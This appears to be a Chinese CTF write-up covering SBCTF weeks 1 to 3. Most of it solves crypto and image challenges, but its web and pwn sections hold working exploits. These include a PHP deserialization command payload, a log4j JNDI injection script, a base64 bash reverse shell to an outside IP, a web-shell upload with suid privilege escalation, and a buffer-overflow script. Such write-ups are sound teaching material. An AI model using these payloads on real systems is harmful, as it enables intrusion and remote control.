Week1

[Misc] ez_traffic_analyse

我出的题嘿嘿(

刚刚复现了Shadowsocks重定向攻击的内容,就把他甩上来了。题目描述挺明显的,操作起来也还挺简单。

参考文章:https://www.secrss.com/articles/51733

的exp即可。

[Misc] ez_leakage

题目附件给了grad和权重,猜测用grad+原来的模型可以还原图像。找了下是DLG,也有现成的脚本(https://github.com/mit-han-lab/dlg

改一下扔到Colab上去跑一次就有了

[Misc] evil_pic_encode

首先拿到的numpy数组的长度可以用质因数分解分出来,1801422=2*3*3*7*17*29*29,分出三个通道,剩下的几个质因数组合一下生成图片发现分辨率为986*609的图片正常(直的)

先看猫脸变换(为什么是这个名字?

写个程序可以发现本题的变换矩阵的循环节为7

def Arnold_period(N):
    # 计算(posx,posy)位置Arnold变换的周期(与整个图像Arnold周期应该一致,待证)
    posx = 28
    posy = 25
    # 变换的初始位置
    x0 = posx
    y0 = posy
    T = 0
    a = 114
    b = 514
    print(T, x0, y0)
    while True:
        x = (x0 + b * y0) % N
        y = (a * x0 + (a * b + 1) * y0) % N
        # x0,y0同时更新
        x0, y0 = x, y
        T += 1
        print(T, x, y)
        if x == posx and y == posy:
            break
    return T
print(Arnold_period(29))

于是只需将加密后的图片再变换7次可以找到猫脸变换的矩阵

kk = [
    [5, 1, 4, 2, 3],
    [6, 4, 5, 4, 4],
    [1, 3, 1, 3, 1],
    [5, 3, 3, 2, 5],
    [1, 5, 2, 3, 4],
    [4, 3, 3, 2, 3],
    [6, 5, 2, 6, 4],
    [3, 3, 6, 1, 5],
]

接下来就是处理周围的dct块了...发现dct块的加密次数不超过5...但是问题是dct加密后虚部的内容被丢弃了...?似乎需要爆破有点麻烦(

中间已经存在了一部分的内容,然后dct块的内容选择直接爆破来做。

[Misc] ez_eval_game

又是我出的题。虽然这个题出了点问题(悲)

原题是:https://oskaerik.github.io/theevalgame/

可以直接参考leaderboard上的代码。

[Misc] bssid

osint。wigle网站上查一下。

[Misc] signin

exif信息中有提示到公众号发signin。然后图片末尾的文字有提示发送到b站bxs账号得到剩下的flag。

[Misc] strange_pic_encode

可以查到一条曲线可以填充二维平面=>Peano或者是Hilbert曲线。大致观察发现是3x3的块所以是Peano曲线(网上这个东西好少)

搜了一个matlab的实现然后手动改成python

def peano_curve(n):
    peano_old = np.array([[0, 0], [0, 1], [0.5, 1], [0.5, 0], [1, 0], [1, 1]])
    points = peano_old.tolist()
    # points = []
    for i in range(1, n):
        p1 = np.column_stack((peano_old[:, 0], 2 + 1 / (3**i - 1) - peano_old[:, 1]))
        p1 = p1[::-1]
        p2 = np.column_stack((p1[:, 0], 4 + 3 / (3**i - 1) - p1[:, 1]))
        p2 = p2[::-1]
        peano_new = np.vstack((peano_old, p1, p2))
        p1 = np.column_stack((2 + 1 / (3**i - 1) - peano_new[:, 0], peano_new[:, 1]))
        p1 = p1[::-1]
        p2 = np.column_stack((4 + 3 / (3**i - 1) - p1[:, 0], p1[:, 1]))
        p2 = p2[::-1]
        peano_new = np.vstack((peano_new, p1, p2))
        peano_old = peano_new / (3 + 2 / (3**i - 1))
        points = peano_old.tolist()
    points = np.round(np.array(points) * (3**n - 1)).astype(int)
    nP = []
    for i in range(len(points) - 1):
        nP.append(points[i])
        dx = int(points[i + 1][0] - points[i][0])
        dy = int(points[i + 1][1] - points[i][1])
        if dx == 0:
            for j in range(1, abs(dy)):
                nP.append(np.array([points[i][0], points[i][1] + j * (dy // abs(dy))]))
        else:
            for j in range(1, abs(dx)):
                nP.append(np.array([points[i][0] + j * (dx // abs(dx)), points[i][1]]))
    nP.append(points[-1])
    return np.array(nP)

然后就卡住了(?不知道是哪种加密的操作方法,导致耗费了一晚上来试怎么做比较好(x

经过一堆尝试发现这样做能够生成差不多形式的图

r = np.array(Image.open("1234.jpg").convert("RGB"))
w, h = r.shape[:2]
points = peano_curve(6)
t = np.zeros_like(r)
r = r.reshape((w * h, 3))
for i in range(len(points)):
    y, x = points[i]
    t[x, w - 1 - y] = r[i]

Image.fromarray(np.array(t).reshape((w, h, 3))).save("crypt1.png")

逆向操作即可

r = np.array(Image.open("encrypto.png").convert("RGB"))
w, h = r.shape[:2]
s = []
for i in range(len(points)):
    y, x = points[i]
    s.append(r[x, w - 1 - y])
s.reverse() # 最后发现反了我再返回来即可x
Image.fromarray(np.array(s).reshape((h, w, 3))).save("crypt2.png")

[Web] php_hacker

反序列化构造一个字符串即可。

payload如下

O:8:"Executor":1:{s:7:"command";s:20:"echo `cat /f_l_a_g`;";}

中间的shell随便改就行(

[Web] attack_shiro

https://www.cnblogs.com/CoLo/p/14025101.html 找个公网ip弹个shell就行(

[Web] ez_cat

上传一句话木马

然后弹shell提权即可。

利用date的suid来提升到root并读取文件。date -f /flag.txt

[Web] ez_sqli

https://www.wolai.com/ctfhub/3steV94h29brUrEiwuGp9n

手注。

[Web] java_signin

猜测是log4j2 RCE的CVE。

于是就只剩下试验了。最开始直接用TCP模拟发HTTP包。失败了

然后发现只用从某几个常用的Headers里试一试就可以了

最后是Accept这个headers里。exp如下:

import requests as r
import base64 as b64
from pwn import pause

ipaddr = "43.128.24.129"
jdni_url = f"rmi://43.128.24.129:1099/063ckb"
# url = "http://47.76.71.50:20009/"
url = "http://localhost:8081"
r.get(url, headers={"Accept": "application/${jndi:" + jdni_url + "}"})

然后弹shell的机器上开一个JDNIExplotion和nc监听端口。然后execbash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xMjguMjQuMTI5LzkwMDEgMD4mMQ==|{base64,-d}|{bash,-i}最后发送请求就可以看到弹来的shell。

[Crypto] hard_pic_encode

原来Crypto才是签到题

再xor一次即可

[Crypto] baby_pic_encode

assert可以化简为x^2 - 810131 y^2 = 1

查了下是Pell方程

def solvePell(d):
    m = int(np.sqrt(d))
    dq = deque()
    dq.append(m)
    n0 = n1 = d - m * m
    m1 = m
    while 1:
        q, m2 = divmod(m1 + m, n1)
        dq.appendleft(q)
        m1 = -m2 + m
        n1 = (d - m1 * m1) // n1
        if m1 == m and n1 == n0:
            break

    dq.popleft()
    b = 1
    c = 0
    for i in dq:
        b1 = c + b * i
        c = b
        b = b1
    return (b, c)

求解得到x,y

用原来的函数在np.zeros()上生成一样的补码

然后和加密后的图相减即可。

[Crypto] SuperBag

本题中观察可知leak = w

所以array_2可以求出来

解出。

[Crypto] Broken PEM

读了pycryptodome的源码,DER格式的内容大概是[type][length_type][length][content],type的内容可以参考这里

因为RSA PEM内容肯定是整数序列,内容如下:

      RSAPrivateKey ::= SEQUENCE {
          version           Version,
          modulus           INTEGER,  -- n
          publicExponent    INTEGER,  -- e
          privateExponent   INTEGER,  -- d
          prime1            INTEGER,  -- p
          prime2            INTEGER,  -- q
          exponent1         INTEGER,  -- d mod (p-1)
          exponent2         INTEGER,  -- d mod (q-1)
          coefficient       INTEGER,  -- (inverse of q) mod p
          otherPrimeInfos   OtherPrimeInfos OPTIONAL
      }

后面序列有四个数,所以可以得到q,题目也给了e。于是可求。

可知,在q已知的情况下能够求出m。

编写exp.py如下

from binascii import a2b_base64, hexlify
from Crypto.Util.number import long_to_bytes as l2b

pem = (
    a2b_base64(
        """
1ixI9xAcwhdVVjzfp55wYLPya5DWWP9zmpMMxYV0Zb74j/r/+ajucrs15/+rG2Rf
BHBMSTFwn4mbL60OfhReOuj3T7cNBYYYHgFGC5kANsa/HVKQegWebJNNAoGBANRg
g8lUzD5t2iE1wrOtzepOCCGNmTeoJckArrsOWBRbJ7U95FJy9pz7beEmH8Upfgjt
ErHXRALLzeKhrKf18nsHg2YsvK5zSD149g+iPhL1JPi/x2BndcYMgBuicMR7eZ59
jDVs72sELL+5tsunUsvu51VHaNi+JwRLHMOe2WgZAoGAKbCaUZR1Dit2zkiIkeg7
WQCdadFnVGoyFOGNlDYLSB4lBE5tqnXfUzQiqTzMnYmynj1VhBaOF3uw4gKWxzkB
aGvDhglVo2LsMrcEMQcv8uqRYZ/50Y4yDcyas1RhsDJ8PrVJOeom7xf5P/GXClIO
mtmiFnna+NzuCdextFZnE+ECgYEAzflBN11XrWCLQtRKHkt9vzWo6ynSpMkexGA2
FtMll7CExWHedBxtk/jCK6/29hh01SFglTyrCG8zIg8dTdTaNHon9UuEP0ktkfkj
5Cu9OlOpZNtS+eu9rLPo92RHLDh4zr8C4bniRg9JezUZ1VBVm9X7ZJkaVcOuQZq7
rfn87tkCgYEAgnKtFAEEOq6UqSgzbYSTPsgpHlQy8ZAzJBZhupevBxXFQyjl6UCD
KSeDSvjgpHngIVEdrpm8xGmHpaYGhdvUBX3RmFv5wg/Lhb5Y/aMu3Tpv2hhysmv1
thD5ts5oRIwKrl0ZlrQPybnYLHMixky5R9JJohRv8Dmgp15afJ4PEHc=
-----END RSA PRIVATE KEY-----
""".replace(
            "-----END RSA PRIVATE KEY-----", ""
        ).replace(
            "\n", ""
        )
    )
    .hex()
    .split("0281") #02表示下面的type是整数 81表示接下来一位是长度
)[1:] #第一块是无用块。
pem = [int(i[2:], 16) for i in pem] #去掉长度标识转成整数。
q = pem[0]
e = 0x10001
d = pow(e, -1, q - 1)
c = int(
    """64cf9253ce6f8bb37ad43cbb473a0577d036144d5dc9ce0ae2fa5a485950096b0b78b06f06bcc60b6f92eddc34ff1ea1e1573b82912c4aea70c645bf11c9bf36a291ff9793390051e412ab209eb199cf0ea0c100e4c7af7a650848c14ec44b7d78a13da503a30eb8ef37e432bcd587bc7cebfc4d89aaaf4b8f3f84c5947a623375008a8d211e97057923c115e320ccaf9cb9f839a0c03c8d337b061ca58c8ccf9d3fdbb121fce009b313ee7381a124b80ff9f1ed0217cca2cf58306e9a99baa7aafcfab90164ab45fd37f240a584c5631a5325249b371551c8daaab8882cd01b439b383d7c557534a99e7af5e64afdf6d22d0fb6f67944996aa874150b9deffb""",
    16,
)
m = pow(c, d, q)
print(l2b(m).decode())

[Crypto] A Bit Limit

由于给了q的高位,这个题大概是用coppersmith_attack来分解。

但是如果直接用q分解,界没设好的话最后得到的解是-q

所以需要将q补全几位再继续分解。

[Reverse] Baby Math

一个形式为Ax=B的方程。解出来即可

[Reverse] simple

注意到代码中出现了2654435769 = -1640531527 & 0xFFFFFFFF = 0x9E3779B9常用于tea加密。

于是写了一个解密程序。得到flag。

[Reverse] babysmc

查壳是UPX壳。但是似乎有改动所以无法直接脱壳,于是用https://www.anquanke.com/post/id/272639的方法手动脱壳了。然后丢进IDA找到了主函数

image image

点开主函数发现用sub_4014C8()解密了sub_401410这个函数,然后再进行了比较。

丢进x32dbg动态调试定位到call 401410前设置断点。然后就可以看到解密之后的函数指令。

当然看指令什么的还是算了,同样dump出来丢进ida就是原函数

image

稍微模拟一下就可以找到原内容。

[Pwn] Rise_of_the_Dragon_Slayer

简单的交互入门题,唯一要注意的是加一个int,除法是整数。

from pwn import *
import ctypes

# context.log_level = "debug"
p = connect("47.76.71.50", 20009)
from re import compile

calc = compile(r"(\d+) ([\+\-\*\/]) (\d+) =")
p.recvuntil(b"Now, you need to answer 20 questions to test your intelligence.\n")
for i in range(20):
    print(i)
    res = p.recvuntil(b"Please input your answer:\n").decode().replace(b"\n", b"")
    a, op, b = calc.findall(res)[0]
    p.sendline(str(eval(f"int({a + op + b})")).encode())
for i in range(20):
    print(i)
    res = p.recvuntil(b"Input the position you want to attack:\n").decode().split("\n")
    for i in res:
        if "M" in i:
            p.sendline(str(i.split("M")[0].__len__()).encode())
p.interactive()

[Pwn] ez_pwn1

from pwn import *

context.log_level = "debug"
# p = process("./1")
r = ELF("./1")
target = r.sym["backdoor"]
p = connect("47.76.71.50", 20009)
payload = b"a" * (0x10 + 0x8) + p64(target + 0x8)
# gdb.attach(p)
pause()
p.sendline(payload)
print("[+] Payload sent")
p.interactive()

[Pwn] Journey_of_the_Chosen

from pwn import *

context.arch = "amd64"
context.log_level = "debug"

p = remote("47.76.71.50", 20009)
# p = process("./pwn")
# gdb.attach(p)
payload = b""
endl = b"\n"
p.send("1\n2\n1\n2\n1\n3\n")
# print(res.decode())
p.interactive()

Week2

[Misc] qrazy_pic_encode

因为DCT的数据有明显特征,考虑训练一个分类模型来识别。

class Neural(nn.Module):
    def __init__(self, input_size, num_classes, hidden_size=100):
        super(Neural, self).__init__()
        self.fc1 = nn.Linear(input_size, hidden_size)
        self.relu1 = nn.ReLU()
        self.fc2 = nn.Linear(hidden_size, hidden_size)
        self.relu2 = nn.ReLU()
        self.fc3 = nn.Linear(hidden_size, num_classes)
        self.sigmoid = nn.Sigmoid()

    def forward(self, x):
        x = self.fc1(x)
        x = self.relu1(x)
        x = self.fc2(x)
        x = self.relu2(x)
        x = self.fc3(x)
        x = self.sigmoid(x)
        return x

model = Neural(19, 2, 256)
criterion = nn.MSELoss()
optimizer = optim.SGD(model.parameters(), lr=0.001)

num_epoches = 10000 * 2
batch_size = 100


def generate_1batch():
    y = [random.random() for _ in range(20)]
    y1 = dct(y)
    x = random.randint(0, 1)
    xx = [0, 0]
    if x == 1:
        y1 = dct(y1)
    xx[x] = 1
    return normalize(y1[1:]), xx


def batch_pack(batch_size):
    batchX = []
    batchY = []
    for _ in range(batch_size):
        x, y = generate_1batch()
        batchX.append(x)
        batchY.append(y)
    return batchX, batchY


with tqdm(total=num_epoches) as pbar:
    # rrr = tqdm()
    for epoch in range(num_epoches):
        # for i in range(1000):
        optimizer.zero_grad()
        X_train, Y_train = batch_pack(batch_size)
        X_train = torch.FloatTensor(X_train)
        Y_train = torch.FloatTensor(Y_train)
        outputs = model(X_train)
        # print(X_train.shape, Y_train.shape, outputs.shape)
        # print(X_train, Y_train, outputs)
        loss = criterion(outputs, Y_train)
        loss.backward()
        accuracy = (outputs.argmax(dim=1) == Y_train.argmax(dim=1)).float().mean()
        optimizer.step()
        pbar.update(1)
        pbar.set_description("Epoch: %d, Loss: %.4f" % (epoch, loss.item()))
torch.save(model.state_dict(), "model.pth")

# Verify the model
model.eval()
with torch.no_grad():
    X_test, Y_test = batch_pack(100)
    X_test = torch.FloatTensor(X_test)
    Y_test = torch.FloatTensor(Y_test)
    outputs = model(X_test)
    _, predicted = torch.max(outputs.data, 1)
    _, truth = torch.max(Y_test.data, 1)
    print("Predicted: ", predicted)
    print("Truth: ", truth)
    print("accuracy: ", (predicted == truth).float().mean().item())

训练10k次的情况下准确性能有97%左右。然后修好定位点放进qrazybox。


import numpy as np
from PIL import Image

r = open("out.txt").read().replace("[", "").replace("]", "").split(",")
r = [float(x) for x in r]
r = np.array(r).reshape(-1, 19)
r = torch.tensor(r).float()

res = model(r)
_, res = torch.max(res.data, 1)
res = res.detach().numpy().reshape(37, 37, -1)

img = Image.new("L", (37, 37))
for i in range(37):
    for j in range(37):
        if res[i][j][0] == 1:
            print("_", end="")
            img.putpixel((j, i), 255)
        else:
            print("#", end="")
            img.putpixel((j, i), 0)
    print()
img.save("res.png")
image

[Misc] ez_brainfuzz

brainfuck+fuzz的组合。很简单的一道题。exp如下:

from pwn import *

# context.log_level = "debug"
#   20001
p = connect("47.76.71.50", "20001")

alphabet = "abcdefghijklmnopqrstuvwxyz1234567890"
dis = lambda x, y: ord(x) - ord(y)


def getfuckstr(str):
    if len(str) == 0:
        return ""
    base = "+++++++++[->+++++++++<]>++++++++++++++++"
    cad = [dis(str[0], "a")]
    for i in range(1, len(str)):
        cad.append(dis(str[i], str[i - 1]))
    finalstr = ""
    for t in cad:
        if t > 0:
            finalstr += t * "+" + "."
        else:
            finalstr += (-t) * "-" + "."
    return base + finalstr


base_str = ""
cur_sim = 0
sendcmd = lambda cmd: p.sendlineafter(">>> ", cmd.encode()).decode().split("\n")[-1]
while True:
    for i in alphabet:
        sendcmd(getfuckstr(base_str + i))
        res = p.recvline().decode()
        if res.find("SBCTF") != -1:
            print(res, base_str)
            exit(0)
        now_sim = int(res.replace("Now similarity: ", "").replace("%", ""))
        if now_sim > cur_sim:
            print(res)
            cur_sim = now_sim
            base_str += i

[Crypto]hard_DSA

这个题和前几天春秋杯的一个题很像(虽然我没做

似乎意思是共享的k加密两次就有办法得到k。

首先有

\begin{align} r_1 &\equiv (g^k\mod p) &\mod q\\ r_2 &\equiv (g^k\mod p )&\mod q\\ s_1 &\equiv (h_1+xr_1)\cdot k_1^{-1} &\mod q\\ s_2 &\equiv (h_2+xr_2)\cdot k_2^{-1} &\mod q\\ \implies s_1 k_1 &\equiv h_1+xr_1 &\mod q\\ s_2 k_2 &\equiv h_2+xr_2 &\mod q\\ 消去x \implies s_1k_1r_1^{-1} -s_2k_2r_2^{-1} &\equiv h_1r_1^{-1} - h_2r_2^{-1} &\mod q\\ \implies s_1k_1r_2 -h_1r_2 &\equiv s_2k_2r_1 - h_2r_1 &\mod q\\ \implies (s_1k_1-h_1)r_2 &\equiv (s_2k_2-h_2)r_1 &\mod q\\ 可化简为k_1的方程&\\ s_2r_1ak_1^2 + (s_2r_1b -s_1r_2)&k_1 + cr_1-h_2r_1 +h_1r_2 \equiv 0 &\mod q \\ 故可以求出k_1& \end{align}
p =
q =
g =
y =
a =
b =
c =
r1 =
s1 =
r2 =
s2 =
m1 = b"so easy DSA problem isn't it?"
m2 = b"what? you say you can not solve it?"

h1 = b2l(hashlib.sha1(m1).digest())
h2 = b2l(hashlib.sha1(m2).digest())


# print(s2 * r1 * a % q, (s2 * r1 * b - s1 * r2) % q, (c * r1 - h2 * r1 + h1 * r2) % q)


from sage.all import *
R.<x> = PolynomialRing(Zmod(q))
f = (s2 * a * x ** 2 + s2 * b * x + s2 * c - h2) * r1 - (s1 * x - h1) * r2
# print(f.roots())
k1 = f.roots()[0][0]
# k2 = f.roots()[1][0]
k2 = (a * x ** 2 + b * x + c )
assert pow(g, k1, p) % q == r1
assert pow(g, k2(k1), p) % q == r2

x = (s1*k1 - h1) * inverse_mod(r1, q) % q
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(x))

[Crypto] ez_block

是个aes_cbc的块密码。可以不管中间AES的细节原理,直接看外层性质。

C0 = iv
C(i) = AES_ECB_encrypt(C(i-1)^P(i))

给我们的内容中包括了一个完整的C(n),P,以及前几个块加密内容的某几位。还有缺失两位的key。

AES_ECB_decrypt(C(i)) ^ P(i) = C(i-1)

所以爆破密码的最后两位,解密的数据和前文比较。可以爆破出key

from Crypto.Cipher import AES
import binascii
from base64 import b64decode


def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


hexify = binascii.hexlify
cipher = b64decode(b64decode(open("cipher.txt", "r").read()))
key = "3N7g309d6Y7enT**"
message = "Security is not a joke, mind it. But complete security is a myth".encode()
print(len(cipher), len(message), len(key))
bcipher = [cipher[i : i + 32] for i in range(0, len(cipher), 32)]
p = [message[i : i + 16] for i in range(0, len(message), 16)]
known = bytearray.fromhex(bcipher[-1].decode())
# print(known)
print(p, bcipher)
det = [bcipher[-1].decode()]
get_key = ""
for i in range(0, 128):
    for j in range(0, 128):
        nkey = key[:-2] + chr(i) + chr(j)
        dec = AES.new(nkey.encode(), mode=AES.MODE_ECB).decrypt(known)
        dec = xor(dec, p[-1])
        dec = hexify(dec).decode()
        if dec[-4:] == bcipher[-2][-4:].decode():
            assert dec[:2] == bcipher[-2][:2].decode()
            print(dec, bcipher[-2].decode(), nkey)
            det.append(dec)
            print("Found key", nkey)
            get_key = key[:-2] + chr(i) + chr(j)
            break

然后依次和原文异或后解密得到全部密文。

aes = AES.new(get_key.encode(), mode=AES.MODE_ECB)
realcipher = [bcipher[-1]]
for i in range(3):
    r = p.pop()
    c = bytearray.fromhex(bcipher.pop().decode())
    print(r, c.hex())
    dec = aes.decrypt(c)
    dec = xor(dec, r)
    dec = hexify(dec).decode()
    print(dec)
    bcipher[-1] = dec.encode()
    realcipher.append(dec.encode())
realcipher.reverse()
print(realcipher)

然后有

AES_ECB_decrypt(C(1)) ^ P(1) = C(0) = IV = flag

可以得到IV。

p = [message[i : i + 16] for i in range(0, len(message), 16)]
t = xor(aes.decrypt(bytearray.fromhex(realcipher[0].decode())), p[0])
print(t)

[Web] ez_login

CVE-2023-32315

[Web] ez_php

看上去不难的字符串逃逸:

a:3{s:4:"test";s:45:"";s:3:"img";s:6:"sb.png";s:8:"username";s:0:"";s:3:"inj";}"

[Web] time_travel_chaos

flask_session构造。看了下原理都是再另一个库itsdangerous里实现的。

[message].[timestamp].[hmac_signature]
message=>base64encode(json.dump(message))
timestamp=>base64encode(int_to_bytes(time()))
hmac_signature=>hmac_sign(`[message].[timestamp]`)
from requests import head, post
from itsdangerous import Signer
from itsdangerous.exc import BadSignature
from tqdm import tqdm
from datetime import datetime
from itsdangerous.encoding import (
    int_to_bytes,
    base64_encode,
    bytes_to_int,
    base64_decode,
)
import time

这里需要注意flask_session中使用了一些奇奇怪怪的参数卡了我好久(哭

初始化需要这样

s = Signer(nKey, salt="cookie-session", key_derivation="hmac")

所以按照提示这就是个爆secret_key的东西。反正是六位,本地爆破一会就出来了。

def fuzz_key(session):
    content, timestamp, sign = session.split(b".")
    flag = 0
    got_key = ""
    for i in tqdm(range(0, 0xFFFFFF)):
        nKey = hex(i)[2:].zfill(6).encode()
        s = Signer(nKey, salt="cookie-session", key_derivation="hmac")
        t = s.sign(content + b"." + timestamp)
        if t == session:
            flag = 1
            got_key = nKey
            print("Found key: " + str(nKey))
            return got_key
    if flag == 0:
        print("Not found")
        return None

然后考虑时间问题。2099-12-31 0.0.0是linux/unix下的时间模式,对应下来是utc+8.

最后是session的内容。

会返回值我是 xiaoming ,不是 test 哦!,所以将session中内容里的test改成小明即可。

def get_flag(key, content):
    s = Signer(key, salt="cookie-session", key_derivation="hmac")
    ts = int(datetime(2099, 12, 31, 8, 0, 0).timestamp())
    ts = base64_encode(int_to_bytes(ts))
    content = base64_encode(base64_decode(content).replace(b"test", b"xiaoming"))
    print(content)
    t = s.sign(content + b"." + ts)
    r = post(
        f"{url}check",
        headers={
            "Cookie": f"session={t.decode()}",
            "Content-Type": "application/json",
        },
        json={"session": t.decode()},
    ).json()
    return r["message"]
def solve():
    r = get_session()
    content, timestamp, sign = r.split(b".")
    print(r)
    key = fuzz_key(r, content, timestamp)
    if key != None:
        t = get_flag(key, content)
        if t != None:
            print(t)
            return t
    return None

solve()

[Reverse] start_main

丢进IDA观察函数。化简后看到几块逻辑。

main函数里输入了36位加密后的内容。对其进行base64decode后,用rc4进行加密。key是SBCTF

image image

注意到另外的函数中进行了base64换表,而后将rc4_key也进行了编码。

由于rc4_key是换表之后的操作,可以模拟出新表然后进行操作。rc4加密是对称加密所以再加密一次即可得到flag。

SBCTF{do_you_know_base64?}


Week3

[Crypto] ez_LCG

查了下看到了原题,秒了(x

import itertools
def small_roots(f, bounds, m=1, d=None):
    if not d:
        d = f.degree()
    R = f.base_ring()
    N = R.cardinality()
    f /= f.coefficients().pop(0)
    f = f.change_ring(ZZ)
    G = Sequence([], f.parent())
    for i in range(m+1):
        base = N^(m-i) * f^i
        for shifts in itertools.product(range(d), repeat=f.nvariables()):
            g = base * prod(map(power, f.variables(), shifts))
            G.append(g)
    B, monomials = G.coefficient_matrix()
    monomials = vector(monomials)
    factors = [monomial(*bounds) for monomial in monomials]
    for i, factor in enumerate(factors):
        B.rescale_col(i, factor)
    B = B.dense_matrix().LLL()
    B = B.change_ring(QQ)
    for i, factor in enumerate(factors):
        B.rescale_col(i, 1/factor)
    H = Sequence([], f.parent().change_ring(QQ))
    for h in filter(None, B*monomials):
        H.append(h)
        I = H.ideal()
        if I.dimension() == -1:
            H.pop()
        elif I.dimension() == 0:
            roots = []
            for root in I.variety(ring=ZZ):
                root = tuple(R(root[var]) for var in f.variables())
                roots.append(root)
            return roots
    return []

a =
b =
n =
output = [
]

PR.<x,y> = PolynomialRing(Zmod(n))
f = ((output[0]<<64)+ x) * a + b - ((output[1]<<64) + y)
roots = small_roots(f,(2^64, 2^64), m=4, d=4)
s1 = (output[0]<<64) + roots[0][0]
m = (s1 - b) * inverse_mod(a, n) % n
print(bytes.fromhex(hex(m)[2:]))

[Crypto] ez_DH

看了下需求是求BobSecret,想到pohlig-hellman似乎可以求对数,又看了下分解因式,非常光滑(

factor(N-1)=2^23 * 3^26 * 5^12 * 7^7 * 11 * 13^3 * 17^2 * 19 * 23 * 29 * 31 * 41 * 43^4 * 53 * 61 * 83 * 89 * 109 * 127 * 157 * 173 * 181 * 199 * 293 * 337 * 367 * 457^2 * 503 * 547 * 677 * 839 * 853 * 1471 * 1559 * 1709 * 2437 * 2843 * 3359 * 3433 * 3541 * 3637 * 9403 * 15443 * 20533 * 27437 * 34033 * 51059 * 51613 * 59123 * 65839 * 149027 * 199873 * 344251 * 470593 * 675299 * 702523 * 2727331 * 3745229 * 4260649 * 5782171 * 6020923 * 11461381 * 15571799 * 16397737 * 17406901 * 18964541 * 25576627 * 45916289 * 161557391 * 176006951 * 236232461 * 290156021 * 503554679 * 1580641753 * 1816545361

然后就可以方便的求出BobSecret=>shared_key,然后后面圆锥曲线看起来就很简单了(点头

N=
g = 2
G = GF(N)
A =
B =
bs = G(B).log(g)
assert G(g)**bs == G(B)
na = pow(A, bs, N)

p=
a=-3
b=
E = EllipticCurve(GF(p), [a, b])


P1 = E()
C = E()

m = C - na*P1
flag = bytes.fromhex(hex(m.xy()[0])[2:])
print(flag)

[Crypto] ez_ECDLP

似乎....2021广东省强网杯某一道题的参数是一样的一堆东西。于是...

from sage.all import *

def SmartAttack(P,Q,p):
    E = P.curve()
    Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ])

    P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
    for P_Qp in P_Qps:
        if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
            break

    Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
    for Q_Qp in Q_Qps:
        if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
            break

    p_times_P = p*P_Qp
    p_times_Q = p*Q_Qp

    x_P,y_P = p_times_P.xy()
    x_Q,y_Q = p_times_Q.xy()

    phi_P = -(x_P/y_P)
    phi_Q = -(x_Q/y_Q)
    k = phi_Q/phi_P
    return ZZ(k)
N1 =
A1 =
B1 =
P1x =
P1y =
Q1x,Q1y =

p1 =
q1 =
assert p1*q1 == N1

N2 =
A2 =
B2 =
P2x =
P2y =
Q2x,Q2y =

p2 =
q2 =
assert p2*q2 == N2

def solve_poh(P,Q,p,q,A,B,N):
    assert p*q == N
    Ep = EllipticCurve(Zmod(p), [0,0,0,A,B])
    Np = Ep.order()
    Pp = Ep(P)
    Qp = Ep(Q)
    dp = Pp.discrete_log(Qp)
    return dp,Pp.order()
def solve_smart(P,Q,p,q,A,B,N):
    assert p*q == N
    Ep = EllipticCurve(Zmod(p), [0,0,0,A,B])
    Np = Ep.order()
    Pp = Ep(P)
    Qp = Ep(Q)
    dp = SmartAttack(Pp,Qp,p)
    return dp,Pp.order()

def solve1(P,Q,p,q,A,B,N):
    dp,po = solve_poh(P,Q,p,q,A,B,N)

    dq,qo = solve_smart(P,Q,q,p,A,B,N)
    d = crt([dp,dq],[po,qo])
    return d%N


def solve2():
    dp,po = solve_poh(P,Q,p,q,A,B,N)
    dq,qo = solve_poh(P,Q,q,p,A,B,N)
    d = crt([dp,dq],[po,qo])
    return d%N

P,Q,p,q,A,B,N = (P1x,P1y),(Q1x,Q1y),p1,q1,A1,B1,N1
dp,po = solve_poh(P,Q,p,q,A,B,N)
dq,qo = solve_smart(P,Q,q,p,A,B,N)
d = crt([dp,dq],[po,qo])
t = d
P,Q,p,q,A,B,N = (P2x,P2y),(Q2x,Q2y),p2,q2,A2,B2,N2
dp,po = solve_poh(P,Q,p,q,A,B,N)
dq,qo = solve_poh(P,Q,q,p,A,B,N)
d = crt([dp,dq],[po,qo])
r = d
t = bytes.fromhex(hex(t)[2:])
r = bytes.fromhex(hex(r)[2:])

flag = b"SBCTF{"+t+r+b"}"

print(flag)

[Crypto] hard_rsa

网上查到的大部分e=3的题都是暴力开方但是这个看上去不行毕竟给了三个参数

于是可以开始推式子了(

\begin{align} &ed &\equiv 1 \pmod {\phi(n)}&\\ &ed &= k_1 \cdot \phi(n)+1 &\\ \end{align}

因为e=3,d

又有

\begin{align} g_1 &\equiv d^3 &\pmod n \\ e^3g_1 &\equiv (ed)^3 &\pmod n\\ &\equiv(1+k_1\cdot\phi(n))^3 &\pmod n \\ &\equiv1+3k_1\cdot\phi(n)+3(k_1\cdot\phi(n))^2 + (k_1\cdot\phi(n))^3 &\pmod n\\ \end{align}

可知

(k1)3g2+3(k1ϕ(n))2+3(k1ϕ(n))+127g10(modn)(k_1)^3g_2 + 3(k_1\cdot\phi(n))^2+3(k_1\cdot\phi(n))+1-27g_1 \equiv 0 \pmod n

欧拉函数的定义如下

\begin{align} \phi(n) &= (p-1)(q-1)\\ &= n -p -q+1\\ &\equiv -(p+q)+1 \pmod n \end{align}

设r=p+q,带入上面的式子有

\begin{align} k_1^3g_2+3k_1^2(1-r)^2+3k_1(1-r)+1-27g_1&\equiv 0 \pmod n \\ k_1^3g_2+3k_1^2-6k_1^2r+3k_1^2r^2+3k_1-3k_1r+1-27g_1&\equiv 0 \pmod n\\ 3k_1^2r^2-(6k_1^2+3k_1)r+(3k_1^2+3k_1+k_1^3g_2+1-27g_1)&\equiv 0 \pmod n\\ \end{align}

对r,假设p>q,有

\begin{align} r^2 &= (p+q)^2\\ &=p^2+q^2 +2pq \\ &=p^2+q^2 +2n \\ &\leq 5q^2 +2n \\ &\leq 7n\\ 3k_1^2r^2&\leq 12r^2\\ &\leq 84n \end{align}

所以

